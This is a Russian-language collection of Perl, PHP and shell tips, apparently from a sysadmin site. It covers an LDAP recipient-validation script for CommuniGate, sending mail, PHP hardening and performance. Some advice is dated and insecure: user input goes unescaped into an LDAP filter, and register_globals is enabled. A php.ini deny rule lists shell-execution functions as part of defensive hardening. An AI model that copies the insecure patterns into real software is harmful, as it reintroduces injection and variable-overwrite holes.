         adminDN=>'LDAPUSER@DOMAIN.local',  # the DN for admin bind
         adminPassword=>'Password', # the DN PASSWORD for admin bind
       },
       { address=>'XXX.XXX.XXX.XXX',     # the address or IP of LDAP    server2
         port=>389,                # LDAP port, 389 by default
         timeout=>5,               # timeout in seconds, 20 by default
         adminDN=>'LDAPUSER@DOMAIN.local',  # the DN for admin bind
         adminPassword=>'Password', # the DN PASSWORD for admin bind
       },
       { address=>'XXX.XXX.XXX.XXX',     # the address or IP of LDAP  server3
         port=>389,                # LDAP port, 389 by default
         timeout=>5,               # timeout in seconds, 20 by default
         adminDN=>'LDAPUSER@DOMAIN.local',  # the DN for admin bind
         adminPassword=>'Password', # the DN PASSWORD for admin bind
       },
       );
    
       $| = 1;
       print "* MegaScript started\n";
       my ($ldapServerID,$ldapServerTried)=(0,0);
       while(<STDIN>) {
         chomp;    # remove \n from the end of line
         my ($prefix,$method,@eargs) = split(/ /);
         if($method eq 'NEW') {
           unless($prefix && $method && $eargs[0]) {
             print "$prefix ERROR Expected: nnn NEW user\@domain\n";
           } else {
             my $errorMsg=new_command($prefix,$eargs[0]);
       
           if(defined $errorMsg) {
             print "$prefix ERROR $errorMsg\n";
           }
         }
       }
       elsif ($method eq 'INTF' ) {
           if($eargs[0] < 3) {
             print "* This script requires CGPro version 4.1b7 or newer\n";
             exit;
           }
    
             exit;
           }
           print "$prefix INTF 3\n";
         }
         elsif($method eq 'QUIT') {
           print "$prefix OK\n";
           last;
         } else {
           print "$prefix ERROR Only NEW, INTF and QUIT commands  supported\n";
         }
       }
       print "* Megascript done\n";
       exit(0);
      
       sub tryConnectServer {
         my $theServer=$ldap_servers[$ldapServerID];
         print "* trying to connect to $theServer->{address}\n";
         my $ldap = Net::LDAP->new($theServer->{address},port=>($theServer->{port} || 389),timeout=>($theServer->{timeout} || 20) )
          || return undef;
         return $ldap;
       }
      sub tryConnect {
         my $nServers=scalar(@ldap_servers);
         for(my $nTried=0;$nTried<$nServers;$nTried++) {
           if($ldapServerID>=$nServers) { $ldapServerID=0;}
           my $ldap=tryConnectServer();
           return $ldap if($ldap);
           ++$ldapServerID;
         }
         return undef;
       }
    
       sub new_command {
         my ($prefix,$user)=@_;
         my ($name,$domain)=("","");
         if($user =~ /(.+)\@(.+)/) {
           $name=$1;
           $domain=$2;
         } else {
           return "Full account name with \@ and domain part expected";
         }
         my $ldap = tryConnect();
         unless($ldap) {
           return "Failed to connect to all LDAP servers";
         }
         my $adminDN=$ldap_servers[$ldapServerID]->{adminDN};
         my $adminPassword=$ldap_servers[$ldapServerID]->{adminPassword};
         my $result=$ldap->bind($adminDN,password=>$adminPassword)
           || return "Can't bind as admin: ".$result->error;
         $result->code && return "Can't bind as admin: ".$result->error;
        
       
            my $mesg = $ldap->search (  # perform a search
                    base   => $searchBase,
                    scope  => "subtree",
                    filter => "(&(proxyAddresses=smtp:$name\@$domain) (objectclass=*))"
            );
    
         $ldap->unbind();  
         unless(defined $mesg) {
           return "LDAP search failed";
         }
         if($mesg->all_entries() eq 0) {
           return "address $name\@$domain NOT exists";
         } else {
           print "$prefix ROUTED $name\%$domain\@[IPEXCHANGE]\n";   
           # Pomenyai IPEXCHANGE!!!!!!!!!!!!
           return undef;
         }
      };
    
     
    Что делает скрипт.
    При получении адреса e-mail в RCPT TO ищет его в AD в атрибутах пользователей.
    Если не находит, то сообщение игнорируется.
    
    Проверить работоспособность скрипта можно запустив его и набрать 1 NEW email@domain.ru
    Если выдаст ROUTED email%domain.ru@IPEXCHANGE - то значит все ОК!!!
    
     
    ----* Отправка почты с вложением из perl с помощью sendmail   Автор: Andrey  [комментарии]
     
    use MIME::Base64 qw(encode_base64);
    
    my $sendmail = '/usr/sbin/sendmail';
    my $to = 'linux@domain1.ru';
    my $from = 'my@domain2.ru';
    my $attachment = '/path_to/file.tar.gz';
    
    my $buf;
    my $subject = MIME::Base64::encode_base64('Здесь размещаем тему письма.');
       $subject =~ s/\n//g;
    my $data;
       $data = MIME::Base64::encode_base64("<p>Здесь<br>Можно разместить текст сообщения.<br></p>");
    my $boundary = 'simple boundary';
    open(MAIL, "| $sendmail -t -oi") or die("$!");
    
    print MAIL <<EOF; 
    To: $email_to 
    From: $email_from 
    Subject: =?UTF-8?B?$subject?= 
    Content-Type: multipart/mixed; boundary="$boundary" 
     
    This is a multi-part message in MIME format. 
    --$boundary 
    Content-Type: text/html; charset=UTF-8 
    Content-Transfer-Encoding: base64 
     
    $data 
    --$boundary 
    Content-Type: application/octet-stream; name="$attachment" 
    Content-Transfer-Encoding: base64 
    Content-Disposition: attachment; filename="$attachment" 
     
    EOF
    
    open(FILE, "<$attachment") or die "$!";
    
    while (read(FILE, $buf, 60*57)) { print MAIL encode_base64($buf); }
    
    close FILE;
    close MAIL;
    
     
    ----* Как отправить HTML письмо с вложенными картинками.   [обсудить]
     
    use MIME::Lite;
    $msg = MIME::Lite->new( To  =>'you@yourhost.com',
                            Subject =>'HTML with in-line images!',
                            Type    =>'multipart/related');
    $msg->attach(Type => 'text/html', 
                 Data => qq{ <body>Here's <i>my</i> image:<img src="cid:myimage.gif"></body> });
    $msg->attach(Type => 'image/gif',
                 Id   => 'myimage.gif',
                 Path => '/path/to/somefile.gif');
    $msg->send();
    
     
    ----* Как кодировать/декодировать на Perl содержимое полей в Quoted Printable   [комментарии]
     
    use MIME::Words qw(:all);
      $decoded = decode_mimewords('Subject: =?KOI8-R?Q?=D4=C5=D3=D4?=');
      $encoded = encode_mimeword("тест", "q", "koi8-r"); 
      $encoded = encode_mimewords("Subject: тест", Charset=> 'koi8-r', Encoding => 'q');
    # для base64, вместо "q", написать "b".
    
     
    ----* Как отправить письмо с аттачем (доп. ссылка 1)   [комментарии]
     
    модуль Mime::Lite
    
     
    ----* Как отправить почтовое сообщение из Perl скрипта   [обсудить]
     
    $cmd_mail="/usr/sbin/sendmail -t";
    open (SENDMAIL, "|$cmd_mail") || die "ERROR: Can not run sendmail";
    print SENDMAIL "MIME-Version: 1.0\n";
    print SENDMAIL "Content-Type: text/plain; charset=\"koi8-r\"\n";
    print SENDMAIL "Content-Transfer-Encoding: 8bit\n";
    print SENDMAIL "To: $to_email\n";
    print SENDMAIL "From: Nobody <nobody\@$localhost>\n";
    print SENDMAIL "Subject: $subject\n\n";
    print SENDMAIL $message . "\n";
    close (SENDMAIL); 
    
     

       Функции и модули в Perl

    ----* Развертывание локального Perl-репозитория CPAN (доп. ссылка 1)   Автор: xenos8  [комментарии]
     
    Инструкция по созданию локального репозитория Perl-модулей, записанных на переносной носитель.
    
    Устанавливаем модуль CPAN::Mini:
    
       # perl -MCPAN -e "install CPAN::Mini"
    
    или для Debian/Ubuntu:
    
       sudo apt-get install libcpan-mini-perl
    
    или для Fedora/RHEL/CentOS:   
    
       sudo yum install libcpan-mini-perl
    
    Если все зависимости удовлетворяют модулю, то установка пройдет без проблем.
    
    На следующей стадии загружаем копию репозитория на сменный носитель
    (загружается около 1 Гб данных):
    
       # minicpan -l /media/Носитель/CPAN/ -r http://mirror.eunet.fi/CPAN/
    
    где, в качестве аргумента к опции "-l" указан путь локального репозитория, а
    для "-r" - сайт репозитория (выбирайте наиболее близкий к вашему
    месторасположению зеркала).
    
    Для обновления версий модулей в репозитории достаточно запустить такую же команду еще раз.
    
    После завершения загрузки всех модулей, приступаем к созданию веб-сервера, для
    этого устанавливаем apache
    
       sudo apt-get install apache
    или
       yum install apache
    
    Для экономии места вместо копирования всех файлов на сервер, можно просто
    создать символическую ссылку:
    
       ln -s /media/Носитель/CPAN/ /var/www/CPAN/
    
    С этих пор любой запрос к /var/www/CPAN/ будет отправляться к /media/Носитель/CPAN/.
    
    Осталась последняя фаза настройки клиента:
    
       # perl -MCPAN -e shell
       cpan[1]>o conf urllist push http://localhost/CPAN/
       cpan[2]>o conf commit
       cpan[3]>quit
    
     
    ----* Как в Perl перехватить __DIE__, чтобы это не отразилось на die() внутри eval (доп. ссылка 1)   [обсудить]
     
    Если в скрипте используется свой обработчик $SIG{__DIE__}, то он отработает и
    для die() внутри eval блока.
    
    Чтобы этого не произошло, нужно вначале eval блока переключиться на старый обработчик:
    
    eval { local $SIG{__DIE__}  = 'DEFAULT'; 
           local $SIG{__ALRM__} = sub { die 'timeout!' }; 
           alarm(1);
           ....
    };
    
    Простейший вариант, проверка $^S, устанавливается в 1 при вызове из eval блока:
    local $SIG{'__DIE__'} = sub {
       die @_ if $^S;
       .....
    }
    
    Усложненный вариант:
    
    sub _evalling { # Определение типа текущей подпрограммы
        my $i = 0; my $sub;
        while (defined($sub = (caller($i++))[3])){
            if ($sub =~ /^\(eval( \d+)?\)$/){
                 return 1;
            }
        } 
        return 0;
    }
    $::SIG{'__DIE__'} = sub { # Перехват die()
        &{$self->{callback}}(@_ ? @_ : $@) unless _evalling;
        die @_;
    };
    
     
    ----* Как интегрировать функцию написанную на C/C++ в Perl скрипт. (доп. ссылка 1)   [обсудить]
     
    Простой путь: use Inline::C, use Inline::CPP (есть также модуль Inline::ASM)
    Более сложный путь: perldoc perlxs, perldoc perlxstut
    
     
    ----* Как получить список всех установленных Perl модулей и их версий (доп. ссылка 1)   [обсудить]
     
    use ExtUtils::Installed;
    $installed = ExtUtils::Installed->new();
    foreach $module ($installed->modules()){
        printf "Module: %s\t\tVersion: %s\n", $module, $installed->version($module);
    }
    
     
    ----* Как выполнить в Perl свой код перед аварийным завершением по die().   [обсудить]
     
    sub die_sig{
        # Случай вызова die в eval блоке.
        die @_ if $^S;
        # Удаляем лок.
        unlink("$cfg_lock_file");
    }
    local ($SIG{__DIE__}) = \&die_sig;
    
     
    ----* Как получить имена подпрограмм Perl модуля (доп. ссылка 1)   Автор: whirlwind.ru  [обсудить]
     
    print join("\n",&get_sub_list);
    sub go{}
    sub test1{}
    package sublist;
    sub main::get_sub_list{
    	no warnings;
    	my ($code,@fn);
    	foreach (keys(%main::)){
    		next unless /^[\w_]/;
    		push(@fn,$_) if eval("defined(*main::$_"."{CODE})");
    	}
    	use warnings;
    	@fn
    }
    
     
    ----* Выполнение функции по ссылке или определенную как строка   [обсудить]
     
    $func_link = sub {.......};
    &$func_link(1,2,3);
    test_func sub{.....};
    %arr= ("test" => \&test_func);
    $arr{"test"}=>(1,2,3);
    $func_str = "print 'test'";
    eval("$func_str");
    
     
    ----* Как вызвать функцию внутри строки   [обсудить]
     
    print "текст @{[test_func()]} текст";
    
     
    ----* Как передать файловый дескриптор в качестве параметра функции   [обсудить]
     
    sub test{
    	my $handle = shift;
    	while (<$handle>){
    		.....
    	};
            print {$handle} "test\n";
    }
    open (FH, "<file");
    flock(FH, 1);
    test(*FH);
                                                      
    
     
    ----* Как создать модуль и экпортировать переменные   [обсудить]
     
    package Test;
    use Exporter;
    @ISA = ('Exporter');
    @EXPORT_OK = ('test_func');
    sub test_func {
    ......
    }
    1;
    
     
    ----* Как поставить обработчик вызываемый при аварийном завершении скрипта   [обсудить]
     
    sub my_die{
    .....
    }
    local ($SIG{__DIE__}) = \&my_die;
    local ($SIG{__WARN__}) = \&my_warn;
    local ($SIG{INT}) = \&my_kill;
    local ($SIG{TERM}) = \&my_kill;
    die "test";
    
     

       PHP

    ----* Добавление Spreadsheet/Excel/Writer.php в PEAR под Ubuntu 10.10   Автор: btr  [комментарии]
     
    При работе с форматом Excel в PHP в логах возникает  такая ошибка 
    
       PHP Fatal error:  require_once(): Failed opening required 'Spreadsheet/Excel/Writer.php'
    
    Решение проблемы:
    
       sudo pear install OLE channel://pear.php.net/OLE-1.0.0RC1
       sudo pear install channel://pear.php.net/Spreadsheet_Excel_Writer-0.9.2 channel://pear.php.net/Spreadsheet_Excel_Writer-0.9.2
    
     
    ----* Ведение полного лога почтовых отправлений, произведенных через PHP скрипты   [обсудить]
     
    В PHP 5.3 добавлена поддержка ведения полного лога всех почтовых отправлений через функцию mail().
    
    Указав в ini-файле опцию "mail.log имя_файла", в заданным файл будут сохранены
    данные от какого пользователя,
    из какого скрипта, и из какой строки этого скрипта была инициирована отправка каждого письма.
    
    При указании опции "mail.add-x-header true" в отправляемые через PHP функцию
    mail() письма будет добавлен
    заголовок X-PHP-Originating-Script с информацией об скрипте и отправителе.
    
     
    ----* Ускорение форума phpBB при помощи memcached (доп. ссылка 1)   Автор: EugeneVC  [комментарии]
     
    Решение по кэшированию повторяющихся запросов к MySQL, для оптимизации работы форума phpBB.
    
    
    Устанавливаем memcached под Debian или Ubuntu:
    
       apt-get install memcached php5-memcached
    
    После установки не забываем перезагрузить apache или php-cgi. Чтобы php увидел новые модули.
    
    Включаем лог медленных запросов у mysql:
    
       log_slow_queries = /var/log/mysql/mysql-slow.log
       long_query_time = 3
    
    и ждем с часик, после чего смотрим лог. У меня в лог попало порядка 4000 запросов - 
    из них легко было выделить запросы типа:
    
       SELECT COUNT(user_id) AS total FROM phpbb_users WHERE user_id <> -1
    
    Запрос постоянно подсчитывал количество пользователей форума на phpBB. 
    Понятно, что это число не особо важно - это просто статистика. Значит данные по
    этому запросу можно закешировать часа на 2.
    
    Для этого открываем файл includes/functions.php ищем функцию get_db_stat()
    
    находим код:
    
       if ( !($result = $db->sql_query($sql)) )
       {
          return false;
       }
       $row = $db->sql_fetchrow($result);
    
    изменяем на
    
       $memcached = new Memcache;
       $memcached->connect('localhost', 11211);
    
       if(!$row = $memcached->get($sql))
       {
       
          if ( !($result = $db->sql_query($sql)) )
          {
             return false;
          }
          $row = $db->sql_fetchrow($result);
       
          $memcached->set($sql, $row, MEMCACHE_COMPRESSED, time() + 7200);
       }
       $memcached->close();
    
    Смысл изменения состоит в том, что в memcached данные хранятся парами (ключ, значение). 
    Ключом служит SQL запрос - он уникальный. Алгоритм приведенного кода состоит в следующем:
    
    соединяемся с memcached, смотрим если такие данные по ключу, если нет только тогда дергаем базу, 
    если есть - то идем дальше - не посылая на базу никаких запросов. Надеюсь экономия всем понятна.
    
    Немного о грустном - модов для phpBB + memcache я не нашел. Зато в phpbb3 эта поддержка заявлена. 
    А для phpBB2 придется самому выискивать такие запросы для кеширования, 
    а ведь еще есть моды - они тоже генерируют тяжелые запросы. 
    Если все сделать правильно - тормоза базы можно сократить в 2-3 раза.
    
     
    ----* Средство против роботов публикующих спам в формах   Автор: Олег Светлов  [комментарии]
     
    Избавится от автоматического поста и не напрягать посетителя с вводом
     графического кода позволит следующий алгоритм:
    
    # Антиробот - против автопостов                 #
    function antibot($text)
        {
        $text = substr($text, 1, -4);
        $sear = array("'1'i","'2'i","'3'i","'4'i","'5'i","'6'i","'7'i","'8'i","'9'i","'0'i");
        $repl = array("a","b","c","d","e","f","g","h","i","j");
        $text = preg_replace ($sear, $repl, $text);
        return $text;
        }
    /*
        // вставляем анти-робоспам
        $antitime = time();
        $antiname = antibot($antitime);
        echo '<input name="'.$antiname.'" type="hidden" value="'.$antitime.'">';
        #----------
        // проверяем анти-робоспам
        $ver1time = time();
        $ver2time = time()-'9999';
        $ver1name = antibot($ver1time);
        $ver2name = antibot($ver2time);
        if ((strip_tags($_POST[$ver1name])<$ver1time and strip_tags($_POST[$ver1name])>$ver2time) or
            (strip_tags($_POST[$ver2name])<$ver1time and strip_tags($_POST[$ver2name])>$ver2time))
            {
            $antibot = '1';   // антибот даёт добро на post
            } else {
            $antibot = '-1';   // антибот запрещает этот post
            }
    */
    
    PS: в функции "замена цифры на буквы" обязательно замените a-j на что-нибудь своё.
    PPS: Код успешно работает около двух лет на нескольких сайтах.
    
     
    ----* В чем может быть причина битых бинарных файлов на выходе PHP   [комментарии]
     
    Например, если в результате выполнения функции (например,  
    base64_encode($buffer)) на выходе получается битый файл (кавычки, \ и
    символ с нулевым кодом экранированы символом \), то проблема в
    использовании директив автоматического экранирования magic_quotes_gpc
    (get, post, cookie) или  magic_quotes_runtime (автоэкранирования в
    некоторых функциях) в php.ini. Для решения проблемы нужно использовать
    функцию stripslashes, например: base64_encode(stripslashes($buffer))
    
     
    ----* Можно ли скрыть исходный код при распространении php-скрипта (доп. ссылка 1)   [комментарии]
     
    Существует утилита шифрования php скриптов  - acak-php. Скрипты выполняются в зашифрованном виде.
    
     
    ----* Можно ли выполнить SSI директивы в PHP скрипте.   [обсудить]
     
    Используете функцию virtual() для парсинга shtml внутри php.
    Для вызова php из shtml достаточно <!--#include virtual="test.php"--> 
    
     

       Regex (регулярные выражения)

    ----* Как проверить что переменная является числом.   [комментарии]
     
    if (ereg("^[0-9]+$", $var)) { число }
    
     
    ----* Использование Perl regex в PHP   [обсудить]
     
    preg_match("/маска/", $строка, [массив])
    preg_replace("/маска/", "/на что менять (параметры \\1, \\2 ...)/", $строка);
    preg_grep("/маска/", $массив) - на выходе все элементы массива соответствующие маске.
    if (preg_match ("/\<\/a\>/i", $str)){ ... }
    preg_match("/^([^:]*)\:(.*)/", $str, $array); list($var1,$var2) = $array;
    
     
    ----* Как автоматически все ссылки в виде http://www инкапсулировать в a href ?   [обсудить]
     
    eregi_replace("([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]#?/&=])", 
    "<a href=\"\\1://\\2\\3\">\\1://\\2\\3</a>", $var);
    
     
    ----* Что лучше preg_* или ereg_*   [комментарии]
     
    Старайтесь при работе с регулярными выражениями всегда когда это возможно использовать preg, 
    эта функция выполняется на порядок быстрее ereg.
    
     
    ----* Как развить непрерывный текст на строки не разрывая слов   [комментарии]
     
    $per_line=80; - число символов в строке.
    echo preg_replace("/^(.{".$per_line."}\S*)/m","\\1\n", $text); 
    
     

       Конструкции языка и функции

    ----* Как проверить что переменная является числом.   [комментарии]
     
    if (ereg("^[0-9]+$", $var)) { число }
    
     
    ----* Ускорение get_browser() в PHP (доп. ссылка 1)   Автор: kornel  [комментарии]
     
    В PHP есть очень удобная для разного рода статистики машин функция - get_browser(). 
    Она возвращает по юзерагенту объект, содержащий отфильтрованный набор информации 
    о браузере и его системе, как то имя, платформа, версия и т.п. "Т.п." - это набор информации, 
    о поддержке кук, дотнета и еще кучи всего, мне не нужного.
    
    Недавно заметил, что при большом количестве обращений эта функция довольно
    медленная и ресурсоемкая.
    Как положено, полез на http://www.php.net/get_browser читать, что пишут в комментариях.
    
    Первое, что попробовал, перейти на облегченную версию browscap.ini... 
    Помогло... процентов на 5 frown.gif
    В коментах нашел Browser Capabilities PHP Project. По заявлениям автора одни из основных фитч 
    - быстрота и полная совместимость с get_browser().
    
    Мне так-же понравилось автоматическое обновление browscap.ini.
    
    С совместимостью оказалось не все гладко. Если у get_browser() все свойства написаны строчными,
    то у данного проекта их названия пишутся с большой буквы,
    следовательно совместимость не полная. Но, это не самая большая проблема и легко обходится.
    
    Но вот со скоростью всплыли неожиданные проблемы.
    Даже после накопления кеша производительность не увеличилась и осталась на уровне get_browser()
    
    Для себя решил эту проблему след. образом:
    
    таблица в mysql:
    
    CREATE TABLE `bc_cache` (
      `cache_id` bigint(16) unsigned NOT NULL auto_increment,
      `hash` char(32) NOT NULL default '',
      `browser` char(32) NOT NULL default '',
      `version` char(32) NOT NULL default '',
      `platform` char(32) NOT NULL default '',
      PRIMARY KEY  (`cache_id`),
      UNIQUE KEY `hash` (`hash`)
    )
    
    Код в PHP примерно такой:
    
    $ua_hash = bin2hex(mhash(MHASH_MD5,$_SERVER['HTTP_USER_AGENT']));
    $query = sprintf("select browser,version,platform from bc_cache where hash='%s'",$ua_hash);
    $data = mysql_query($query,$res);
    if (mysql_num_rows($data)) {
        $browser = mysql_result($data,0,'browser');
        $version = mysql_result($data,0,'version');
        $platform = mysql_result($data,0,'platform');
    } else {
        $bc = get_browser($useragent);
        $browser = $bc->browser;
        $version = $bc->version;
        $platform = $bc->platform;
        $query = sprintf("insert into bc_cache (hash,browser,version,platform) values ('%s','%s','%s','%s')",
                            $ua_hash,
                            $browser,
                            $version,
                            $platform);
        mysql_unbuffered_query($query);
    }
    
    В дальнейшем пользуюсь переменными $browser,$version и $platform как мне заблагорассудится.
    
    Результат - повышение производительности, на глаз, раза в 4-8.
    
    Почему? За счет того, что $_SERVER['HTTP_USER_AGENT'] хоть и может сильно различаться, 
    но всё-таки, вещь не самая уникальная. А select по уникальному индексу по
    char(32) отрабатывает очень быстро!
    
     
    ----* Как подавить вывод ошибок при вызове функции на PHP   [комментарии]
     
    Если перед именем вызываемой функции поставить @, то ошибки выводится не будут.
    
     
    ----* Как в Perl/PHP выводить данные без буферизации, не дожидаясь конца строки   [комментарии]
     
    Perl:
       "$!=1;" или "use IO::Handle; FH->autoflush(1);"
    PHP:
       После каждой операции вывода вызывать flush();
    
     
    ----* Как в PHP определить константу.   [обсудить]
     
        define("CONST_VAL", "TEST"); 
        $var = CONST_VAL; 
    
     

       Серверная часть и интерпретатор

    ----* Как запустить PHP скрипт без встроенного в apache модуля и под UID определенного пользователя   [комментарии]
     
    Собираем PHP как скрипт и пишем в .htaccess:
      AddType application/x-httpd-php .php
     Action application/x-httpd-php /cgi-bin/php.cgi
    
     
    ----* Подключаем PHP 7.1 к Oracle в CentOS 7   Автор: smolindm  [комментарии]
     
    Скачиваем и устанавливаем Oracle Instant Client для linux с официального сайта.
    
    Устанавливаем Instant Client:
       # rpm -ivh oracle-instantclient12.1-basic-12.1.0.2.0-1.x86_64.rpm
       # rpm -ivh oracle-instantclient12.1-devel-12.1.0.2.0-1.x86_64.rpm
    
    Указываем системе где лежат библиотеки Oracle иначе получим предупреждение вида:
    
       PHP Warning: PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/oci8.so' 
       -libclntsh.so.12.1: cannot open shared object file: No such file or directory in Unknown on line 0
       PHP Warning: PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/pdo_oci.so' 
       -libclntsh.so.12.1: cannot open shared object file: No such file or directory in Unknown on line 0 
    
    создаем и записываем в конфигурационный файл путь к библиотекам Oracle
    
       # echo /usr/lib/oracle/12.1/client64/lib >> /etc/ld.so.conf.d/Oracle12.conf
    после чего настраиваем привязку динамических ссылок при помощи ldconfig
       # ldconfig
    
    Проверяем, что php не выдает ошибок:
    
       # php -v
       PHP 7.1.0RC6 (cli) (built: Nov  9 2016 09:51:59) ( NTS )
       Copyright (c) 1997-2016 The PHP Group
       Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
    
    В нашем случае все в порядке, можно смело обращаться из php к Oracle.
    
     
    ----* Решение проблемы поддержки php-zip-extension в Fedora-16   Автор: kassy_k  [комментарии]
     
    При установке PHP из стандартного репозитория обнаруживается отсутствие
    поддержки php-zip-extension. Как следствие, такие продукты как Moodle 2.2 не
    запускаются на сервере. Данная проблема актуальна для некоторых пользователей
    дистрибутивов Fedora 15 и Fedora 16.
    
    Решение проблемы довольно просто. Потребуется проделать несколько нехитрых операций:
    
    
    1. Устанавливаем из репозитория Apache, PHP и необходимые расширения.
    
    2. Загружаем и распаковываем с официального сайта исходники PHP (например в /dist).
    
    3. Создаем на веб-сервере файл inf.php:
    
       <?php
       phpinfo();
       ?>
    Так проще всего набрав в браузере http://localhost/inf.php посмотреть как
    сконфигурирован PHP в репозитории.
    
    4. Переходим в каталог с исходниками PHP и выполняем скрипт ./configure почти
    со всеми полученными на предыдущем шаге опциями, но добавляем еще --enable-zip
    
    5. Переходим в каталог /dist/php-X.X.X/ext/zip и выполняем следующее:
    
      phpize
      ./configure
      make
      sudo make install
    
    или устанавливаем через создание пакета, вместо make install:
    
      sudo checkinstall
    
    6. Финиш. Получаем установленный shared-модуль zip.so
    
    7. Перезапускаем веб-сервер:
    
       sudo systemctl restart httpd.service
    
     
    ----* Отладка php скриптов на стороне сервера   Автор: Pavel Piatruk  [комментарии]
     
    Иногда пользовательские скрипты или зависают, или хотят соединиться с чем-то
    запрещенным в файрволе,
    или интерпретатор неожиданно вылетает, не передав заголовок Content-type, что
    приводит к ошибке 500.
    Для того, чтобы разобраться в причине, попробуем отладить скрипты со стороны сервера, 
    не залезая в код php. Сначала придется изменить конфигурацию apache, чтобы php
    работало через suphp,
    а не через модуль mod_php5. Я не буду рассказывать, как это делается. Главное, кроме обычного, 
    "неотладочного", надо добавить свой обработчик в suphp.conf:
    
    	x-httpd-php_debug=php:/usr/local/bin/php-cgi.sh
    
    А вот содержимое этого скрипта /usr/local/bin/php-cgi.sh. Поставьте ему права 755. 
    Видно, что он запускает отладчиком php с перенаправлением отладочной информации в файл.
    
    	#!/bin/bash
    	/usr/bin/strace /usr/bin/php5-cgi $@ 2>/tmp/debug
    
    Не забудьте добавить этот обработчик в конфиг apache , это делается строкой
    
    	suPHP_AddHandler x-httpd-php_debug
    
    Затем в .htaccess нужного сайта допишите
    	
    	AddHandler x-httpd-php_debug .php
    
    В результате после повторной загрузки сайта появится файл /tmp/debug, в который будет добавляться
    отладочная информация о работе php нужного сайта. В это время лучше ограничить посещение сайта, 
    разрешив только 1 IP адрес, чтобы отладочной информации не было чрезмерно. 
    Обычно будет достаточно имени системного вызова, который приводит к прекращению
    выполнения скрипта.
    Можно поиграться с параметрами strace.
    
     
    ----* Как совместить использование SuPHP и mod_php в одном apache (доп. ссылка 1)   Автор: pookey.co.uk  [обсудить]
     
    По умолчанию будет использоваться SuPHP.
    В httpd.conf:
       LoadModule suphp_module        modules/mod_suphp.so
       LoadModule php4_module         modules/libphp4.so
       AddType application/x-httpd-php .php
       AddType application/x-httpd-php-source .phps
       AddHandler x-httpd-php .php
       suPHP_Engine on
       php_admin_flag engine off
    
    Для избранных хостов активируем mod_php:
    
       <VirtualHost ..>
         suPHP_Engine off
         RemoveHandler .php
         php_admin_flag engine on
         ...
      </VirtualHost>
    
     
    ----* Как оптимизировать работу сайта на PHP не переписывая скрипты (доп. ссылка 1)   Автор: onorua  [комментарии]
     
    Мы взяли 2 абсолютно одинаковых по-железу компьютера, один сделали
     точной копией настроек "живого" сервера (пускай будет машина А), а второй пытались тюнить (Машина Б).
    Каждый текст проводился отдельно (за раз - одна оптимизация, без наложения).
    
    1. На Б было проставлен весь новый софт с настройками по-умолчанию:
    
       А - 86 ответов/секунда
       Б - 72 ответов/секунда
    
    2. Выключен режим апача KeepAlive=off, добавлено количество одновременных запросов в MySQL:
    
       А - 86 о/с
       Б - 81 о/с
    
    3.1 Добален модуль php accelerator (http://www.php-accelerator.co.uk/)
    
       А - 87 о/с
       Б - 93 о/с
    
    3.2 Код скомпилен с помощью Zend, и подгружен Zend Optimizer
     (http://www.zend.com/store/products/zend-optimizer.php):
    
       A - 86 о/с
       Б - 140 о/с
    
    3.3 Код скомпилен MMcache (лучший результат)
    (http://turck-mmcache.sourceforge.net/index_old.html)
    
       A - 86 о/с
       Б - 215 о/с
    
    Тест проводился с помощью родного бэнчмарка апача. Мы были слегка удивлены тем что 
    Зенд не оправдал надежды + при компилировании Zend'ом, в админке не отображаются картинки.
    
     
    ----* Как отдавать web-контент в сжатом виде средствами PHP (доп. ссылка 1)   [обсудить]
     
    mod_php должен быть собран с опцией --with-zlib.
    Метод 1:
       output_buffering = On
       output_handler = ob_gzhandler
       zlib.output_compression = Off
    
    Метод 2:
       output_buffering = Off
       output_handler =
       zlib.output_compression = On
    
     
    ----* Как запретить пользователю использовать в своих скриптах определенные PHP функции   [комментарии]
     
    В php.ini (в httpd.conf не работает, только в php.ini):
    disable_functions=system,exec,passthru,shell_exec,mysql_pconnect, pgsql_pconnect,
          proc_open,proc_close,dl,show_source
    
     
    ----* Как организовать выполнение php скриптов под UID текущего пользователя (доп. ссылка 1)   [комментарии]
     
    Метод 1. Собираем PHP с --enable-force-cgi-redirect, кладем php.cgi в cgi-bin, в httpd.conf:
       AddType application/x-httpd-php .php
       Action application/x-httpd-php /cgi-bin/php.cgi
    Метод 2. Собираем PHP c --enable-discard-path, в начало php скриптов добавляем #!/usr/bin/php
    В httpd.conf: AddHandler cgi-script .php
    и в параметры директории где php скрипты к Options добавляем ExecCGI.
    
     
    ----* Почему после установки PHP 4.2.x перестали работать все глобальные переменные.   [комментарии]
     
    В /etc/php.ini необходимо прописать:
        register_globals on
    
     
    ----* Как максимально ограничить пользовательские PHP скрипты.   [обсудить]
     
    В httpd.conf в блок конфигурации каждого виртуального хоста добавляем:
      php_admin_flag engine on
      php_admin_flag expose_php off
      php_admin_flag safe_mode on
      php_admin_flag track_vars on
      php_admin_flag allow_url_fopen  off
      php_admin_flag magic_quotes_runtime on
      php_admin_value doc_root /home/user/htdocs
      php_admin_value open_basedir /home/user/htdocs
      php_admin_value safe_mode_exec_dir /home/user/bin
      php_admin_value safe_mode_protected_env_vars  LD_LIBRARY_PATH
      php_admin_value safe_mode_allowed_env_vars PHP_
      php_admin_value upload_tmp_dir /home/user/htdocs/tmp
      php_admin_value upload_max_filesize 1024000
      php_admin_value max_execution_time 10
      php_admin_value post_max_size  1M
      php_admin_value memory_limit 8M
      php_admin_flag mysql.allow_persistent  off
      php_admin_value mysql.max_links  5
      php_admin_flag pgsql.allow_persistent  off
      php_admin_value pgsql.max_links  5
      # в php.ini disable_functions = 
    
     

       Shell

    ----* Устранение ошибки redirection unexpected в bash-скриптах   Автор: Аноним  [комментарии]
     
    На системе с bash 5.2.15(1)-release совершенно невинное выражение
    
       read id rest < <(qm list)
    
    вызывает ошибку "Syntax error: redirection unexpected"
    
    Лечится заменой shebang с #!/bin/bash на #!/usr/bin/bash
    Вроде бы потому, что whois bash отдаёт /usr/bin/bash.
    
    Но ирония в том, что /bin/bash и /usr/bin/bash - две идентичные копии, даже не
    симлинк. /usr/bin в PATH стоит перед /bin.
    
     
    ----* Случайная задержка в shell-скрипте, выполняемом из crontab (без башизмов)   Автор: john_erohin  [комментарии]
     
    применимо в системах без anacron, без /etc/cron.[hourly|daily|weekly|monthly] и без systemd.
    
    цель: чтобы вписать простую строку в crontab вида
    
       0 */8  * * * $HOME/bin/script.sh
    
    но при этом иметь случайное начало работы (а не ровно 00:00, 08:00 и 16:00), 
    в начале script.sh нужно поместить
    
